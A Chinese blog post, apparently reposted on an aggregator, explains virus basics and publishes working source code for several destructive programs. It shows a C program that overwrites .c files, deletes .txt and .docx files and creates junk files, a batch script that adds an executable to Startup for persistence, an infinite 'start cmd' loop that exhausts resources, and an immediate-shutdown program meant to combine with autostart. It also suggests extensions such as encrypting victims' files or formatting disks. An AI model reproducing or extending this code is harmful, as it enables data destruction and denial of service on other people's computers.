主頁 >  其他 > 網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

2020-10-10 18:37:30 其他

這篇文章是突發奇想寫的,因為最近突然對病毒產生了一些興趣,因此特別寫了這么一篇文章來紀念一下.
前面我會首先介紹一下什么是病毒,后面我會把一些病毒的原始碼發上來.
當然,我也不知道能不能稱其為病毒,因此,大佬就當樂子看看就好.

一.關于病毒的介紹

按照講課的一般慣例,首先需要百度一下關于病毒的基本知識.如圖.

在這里插入圖片描述
圖中我們可以看出,病毒其實就是在計算機中插入的破壞計算機的惡意代碼.我們姑且可以這么認為:只要是能破壞計算機正常運行的代碼,都可以認為是病毒.因此,即使是用批處理腳本寫一個洗掉檔案的命令,我們都能認為是病毒,因為它對計算機造成了阻礙.

當然,上面都只是我自己的理解,也許想要稱某個程式為病毒的話,可能還需要符合其他特點.
但是我認為這樣理解是沒有錯的,因為就在寫這篇文章之前,我偶然搜索到了一個"%0病毒".這個病毒特別的簡單,只有一句話.
但是作用就是一直打開程式本身,最后使電腦死機.有興趣的同學可以去csdn上面搜索一下這個病毒,挺有意思的.

正因為這么簡單的代碼都能稱為病毒,因此我認為,我的理解應該是正確的.

二.關于病毒的分類

不敢太猜測大佬的思維,只能說說自己對于一些病毒的自己的理解.

1.按照病毒的破壞性分類

良性病毒:僅僅顯示資訊、奏樂、發出聲響,自我復制的,除了傳染時減少磁盤的可用空間外,對系統沒有其它影響,
惡性病毒:封鎖、干擾、中斷輸入輸出、使用戶無法列印等正常作業,甚至電腦中止運行,這類病毒在計算機系統操作中造成嚴重的錯誤,
極惡性病毒:死機、系統崩潰、洗掉普通程式或系統檔案,破壞系統配置導致系統死機、崩潰、無法重啟, 這些病毒對系統造成的危害,并不是本身的演算法中存在危險的呼叫,而是當它們傳染時會引起無法預料的和災難性的破壞,
災難性病毒:破壞磁區表資訊、主引導資訊、FAT,洗掉資料檔案,甚至格式化硬碟等,

第一個,良性病毒.簡單來說,我們隨手寫一個程式,比如彈出一個helloword,我們也姑且認為是一個病毒,并且可以被叫做是良性病毒.
在后面我寫了一個比較有意思的小程式,就可以稱為良性病毒.

在說說第二個,惡性病毒.這類病毒就比較具有攻擊性了,是可以對系統造成一定的威脅性的.
后面我寫了兩個病毒程式.效果是開啟后讓電腦陷入一直關機的狀態.
另一個是開啟以后,會在后臺一直創建行程,直到死機.
都是兩個比較簡單的程式,但是效果比較明顯.

最后一個我就不說了,因為這么nb的病毒我要是能寫出來,我就不坐在這里打字了.

2.按照傳染方式分類

檔案型病毒:一般只傳染磁盤上的可執行檔案(COM,EXE),在用戶呼叫染毒的可執行檔案時,病毒首先被運行,然后病毒駐留記憶體伺機傳染其他檔案或直接傳染其他檔案,其特點是附著于正常程式檔案,成為程式檔案的一個外殼或部件,這是較為常見的傳染方式,
混合型病毒:兼有以上兩種病毒的特點,既染引導區又染檔案,因此擴大了這種病毒的傳染途徑,

這幾點沒啥好說的,只要識字的人知道啥意思.

3.比較出名病毒

這個我懶得打字了.直接上截圖
在這里插入圖片描述

4.需要注意的一些地方

要理解木馬,病毒,漏洞是不同的三種東西.我一開始也并不知道這三種東西有什么區別,后來百度了才知道.

先說說木馬.木馬和病毒是不同的,不能認為是同一種東西.
木馬主要是黑客用來對你的電腦留后門的,比如遠程在你的電腦后臺創建一個賬戶,這就是一種留后門的方法.

其次是病毒.這個就是對你的電腦造成破壞的程式了.比如之前很出名的勒索病毒,原理就是對檔案進行一個加密.
這也是對檔案的一種感染.只要你懂這個原理,甚至自己寫一個加密檔案的程式,都可以叫做"小菜雞做的勒索病毒".(這種話只能說說看,你別真這么叫,因為真正的勒索病毒是很復雜的,利用了一個叫做永恒之藍的漏洞)

最后一個就是漏洞,這個就是另外一種東西了.你的windows一直在更新,原因就是在修復很多漏洞.比如c語言程式里面就有一個漏洞叫做"陣列越界".
這個漏洞產生的原因,就是因為最早發明c語言的時候,為了節省檢查陣列的記憶體,因此對陣列的邊界沒有一個嚴格的限制,才產生了這個漏洞.
還有一個叫做緩沖區溢位的漏洞,這個漏洞被用的比較廣泛,是很多黑客都會用使用的一個漏洞.
(這個漏洞,說實話我感覺和陣列越界的原理差不多.以前在做ctf里面的pwn題的時候明顯能感覺到.)

三.一些病毒的原始碼

1.教學病毒

這個病毒實作了一些基礎的病毒該有的功能,比如感染檔案,洗掉檔案,制造垃圾文等作用,非常適合用來學習病毒.
當然,這個是借鑒了其他csdn大佬的程式,并不是我寫的.

首先先說一下這個病毒的基本作用.
1.感染檔案
病毒會將某個目錄下的檔案進行感染,下面兩張圖是感染前后的對比.
在這里插入圖片描述
在這里插入圖片描述
可以看到,檔案內容發生了變化.
2.制造垃圾檔案
程式運行以后,會在某個目錄下生成一些系統的臨時檔案.這個病毒僅僅生成了一個.
在這里插入圖片描述
在這里插入圖片描述
這兩種檔案都是病毒程式生成的,只不過原理不同,一會兒我會講怎么實作.
3.洗掉檔案
顧名思義,洗掉某個目錄下特定的檔案,比如以.txt結尾的檔案.

運行病毒的程式之前步驟

這個病毒是感染特定目錄下的檔案,因此需要提前創建一個目錄,并且在這個目錄下創建一些檔案.
在這里插入圖片描述
創建一個檔案夾,我的檔案夾是virus.然后在這個檔案夾下創建兩個檔案,檔案名如圖.E_KILL.c是當病毒感染檔案以后的檔案內容.
在E_KILL.c檔案中寫入以下代碼.

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一個viruse.c就是我們病毒的原始碼了.這個一會兒再說.
接著就是temp檔案夾了,這個檔案夾就是要被感染的目標檔案夾,按照如圖創建.
在這里插入圖片描述
s.txt和a.docx是兩個空的檔案,另外兩個檔案寫入以下內容:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

好了,準備作業就做完了,接下來就是講解關于病毒原始碼的講解了.

病毒原始碼

關于原始碼的講解,我直接就以注釋的方式寫在代碼里面了.好好看,好好學.

#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\E_KILL.c"
//使用了很多宏定義.這些都是后面會用得到的,需要改成你自己的檔案路徑,記得用兩個斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函式宣告

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//這個是生成臨時檔案的檔案名,幾個×就代表幾個隨機字符.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函式用于改變當前作業目錄,將當前作業目錄改成了宏定義的目錄
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//創建臨時檔案
}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        //創建垃圾程式,open第二個引數是創建并且打開檔案,第三個引數是寫入的意思
        copyfile(Virusfile,s[i]);
        //將開始那個E_KILL檔案內容復制到新創建的exe檔案當中.
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //這個原理比較簡單,就是進行了一個查找,然后洗掉.就不贅述了.
}


void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染檔案子函式
void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//對檔案進行感染,原理其實就是將病毒檔案進行復制即可.

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程式

運行的時候記得用管理員身份打開.

程式大概就是這樣.其實很多病毒的雛形就是這個.
比如可以對這個原始碼進行修改,將一個死回圈加到創建垃圾檔案,那么效果就是一直創建垃圾檔案,直到電腦記憶體被全部占滿.
在比如,可以將單純的復制檔案改為對檔案進行rsa加密,這樣會比摧毀檔案更讓人頭疼.

運行結果

在這里插入圖片描述
可以看到,檔案夾中被創建了一個叫做a14192的臨時檔案,這個就是我們的功能之一.
接著打開e.c,可以看到檔案已經變成了如圖所示的內容.
在這里插入圖片描述
由此可見,我們的檔案已經被成功感染.
當然,這個病毒是非常簡單的一種,你可以對功能進行一些擴充,比如寫入注冊表設定自啟動,比如格式化某個硬碟…等等等等,這個就看你了.

2.一些我自己寫的病毒

姑且先叫做是病毒吧,因為也是對電腦造成了阻礙.我的靶機都是win2003,別的機器可能出不來效果.

1>永恒之綠

這個名字是我突然想起來有個叫"永恒之藍"的漏洞,于是我也給這個病毒起了個這個名字.先看看效果.
在這里插入圖片描述
這個病毒運行以后,會一直在螢屏上重繪綠色的0和1.
怎么樣?是不是看著比較有意思?
這個程式并沒有什么危害性,調出任務管理器就可以關掉.不過我還在后面寫了一個批處理腳本,代碼如下:

@echo off
copy virus_fake.exe "C:\Documents and Settings\Administrator\「開始」選單\程式\啟動"

這個腳本執行以后,會將病毒程式加載到啟動項,每次開機都會運行這個程式.
當然,記得要把第二行copy后面的檔案名改成你病毒程式的檔案名才可以.

接下來就是病毒的原始碼.

#include <stdio.h>
int main(){
    system("color 0a");
    //呼叫一個cmd命令,將文字顏色調成綠色,背景調成黑色
    while(1){
        printf("01011010101001010");
        //使用一個死回圈,回圈在螢屏上列印0和1
    }
}

如圖,要將exe和bat放到一個位置.
在這里插入圖片描述
如果直接運行程式,是只會在一個視窗執行.
在這里插入圖片描述
我們還需要右鍵這個程式,然后設定屬性和默認值為全屏才可以出現開始那個效果.
在這里插入圖片描述
這就是第一個病毒程式,永恒之綠.就是一個花里胡哨的小程式,只能用來嚇唬人,其實并沒有什么太厲害的地方.
不過第二個就比較厲害了,會無止境的消耗系統資源.

2>不知道該叫啥,就叫死機病毒吧

運行結果如圖:
在這里插入圖片描述
此刻我的虛擬機已經死機了,只能重啟.
在這里插入圖片描述
這個病毒的原理就是一直在打開cmd界面,最后系統資源耗盡,然后死機.這次我打開性能監視器,如圖.
在這里插入圖片描述
短短幾秒鐘,行程就達到了500多個.如果在加上上面的那個開機自啟動腳本,想想看,后果是不是很可怕?
直接上原始碼.

#include <stdio.h>
int main(){
    while(1)
    system("start cmd");
    //我寫了一個死回圈,然后執行cmd命令.這個命令就是打開cmd視窗,為什么要加start呢?這個可以百度一下為什么.
    return 0;
}

代碼很簡單,但是效果還是很猛的.這個的原理和%0病毒是相似的.

3>病毒之重啟

這個名字是我看了盜墓筆記重啟以后想到的,干脆就拿來用了.
重啟是真的重啟,運行以后會讓電腦直接關機.如果配合上自啟動腳本,效果就是開機就關機,開機就關機,開機就…
威力還是比較可觀的.截圖我就不上了,直接放代碼.

#include <stdio.h>
int main(){
    system("shutdown -s -t 0");
    //呼叫cmd命令,-s是關機的意思,-t 0 是設定0秒以后關機的意思
    return 0;
}

首先,運行病毒1里面的自啟動腳本(記得改檔案名),然后關機,在開機,病毒就開始執行了.

最后這個病毒是威力最大的一個,因為你連機都開不了,談何洗掉病毒?
當然,你可以進入安全模式進行洗掉,而那些不懂這些的人可就遭了殃了.
上面三個其實可以直接在病毒程式中添加自啟動命令的,但是我的編譯器一編譯就會自動執行程式,因此我寫成了兩個,不然自己的病毒把自己感染了就出大事了.

4>額外補充的一些事情

上面發的三個病毒其實都是小打小鬧,真正厲害的是一些比如熊貓燒香之類的病毒.
當然,那些大佬對于我來說都是目不可及的.
曾經有幸見過一個大佬寫的"金豬報喜"病毒,原理和熊貓燒香類似,用的是c++寫的.如果說以后有機會的話,我會寫一個這樣的病毒發上來給大家看看.

三.總結

關于病毒的基本原理,大概就是這樣.如果各位還有什么要補充的話可以放在評論區里.
上面的三個病毒只能算是特別小的病毒,一些更厲害的病毒可以去看看其他csdn大佬寫的東西,比如隱藏行程之類的功能.就這樣吧,不多說了.有興趣可以加我qq:1392969921

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/166558.html

標籤:其他

上一篇:Redis系列:redis實作分布式鎖

下一篇:不愧是“大廠敲門磚”,阿里新產并發編程神仙筆記也太贊了

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more